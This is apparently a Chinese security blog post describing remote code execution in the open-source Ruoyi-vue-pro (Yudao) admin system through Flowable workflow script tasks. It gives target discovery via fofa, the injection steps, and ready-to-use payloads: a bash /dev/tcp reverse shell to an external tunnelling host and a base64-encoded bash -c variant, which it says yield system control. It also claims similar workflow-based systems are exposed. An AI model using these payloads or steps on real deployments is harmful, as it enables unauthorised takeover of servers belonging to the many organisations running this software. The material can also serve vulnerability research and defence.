本帖旨在于技术交流,请勿进行非法攻击行为。
芋道管理系统是当前gitee上最受欢迎的开源系统,其收到的Start数量已经超过50k,该系统集成多种功能于一身,被众多企业所接受。但是越强大的的功能则越容易引入高风险的安全问题,通过代码审计发现该系统集成了flowable流程组件,该组件通过解析xml模板实现流程部署与执行,我们可以利用其支持解析动态脚本的特性注入恶意代码,从而实现RCE,接下来我们将针对该漏洞进行简要分析。
项目信息:
芋道源码
Ruoyi-vue-pro
https://gitee.com/zhijiantianya/ruoyi-vue-pro
一、资产定位
通过fofa搜索 芋道管理系统 即可
二、攻击示例
新建一个流程模板
设计模板
新增一个脚本任务,脚本类型设置为JavaScript,脚本内容为java.lang.Runtime.getRuntime().exec()
此时我们先用DNSLog探测一下命令是否真的能够执行
保存模型,绑定表单,发布流程
进入我的流程发起一个新的流程,此时命令已经触发
通过DNSLog监听到了域名解析请求,证明命令成功执行
三、GetShell
懒得搞webshell,直接反弹shell吧
1.利用花生壳进行内网穿透
具体操作可以百度,这里不进行详细介绍,其实你也可以自己买一个云服务器进行监听
参考:https://www.cnblogs.com/happycodera/p/16403331.html
2.构造POC
这里容易踩坑,java.lang.Runtime.getRuntime().exec()是不能直接进行多参数命令处理的,而反弹shell的命令需要包含多个参数
java.lang.Runtime.getRuntime().exec("bash -i>& /dev/tcp/6v7255611.zicp.fun/50392 0>&1");
上述命令会报错,不能执行
我们需要转换为base64的命令形式S
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLdsdzZ2NzI4NzAyZjYuemljcC5mdW4vMjE5NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
参考:http://www.taodudu.cc/news/show-316467.html
重复上述第二步,再次发起一个流程,我们可以在Kali上监听到反弹过来的shell,从而获取系统控制权。
四、总结
其实流程脚本任务不仅支持JS脚本,还支持Python,Groovy等脚本,其底层原理则是调用java中对应语言的解析函数,如JS脚本则是调用了ScriptEngine中的eval函数。据了解,流程引擎还支持表达式解析,所以该组件还存在其它的注入可能,以上仅对脚本注入的攻击形式进行了简单的探讨。这样的漏洞适用于几乎所有集成流程管理功能的系统,比如若依、Guss等系统均存在此类问题。
请登录/注册后在FreeBuf发布内容哦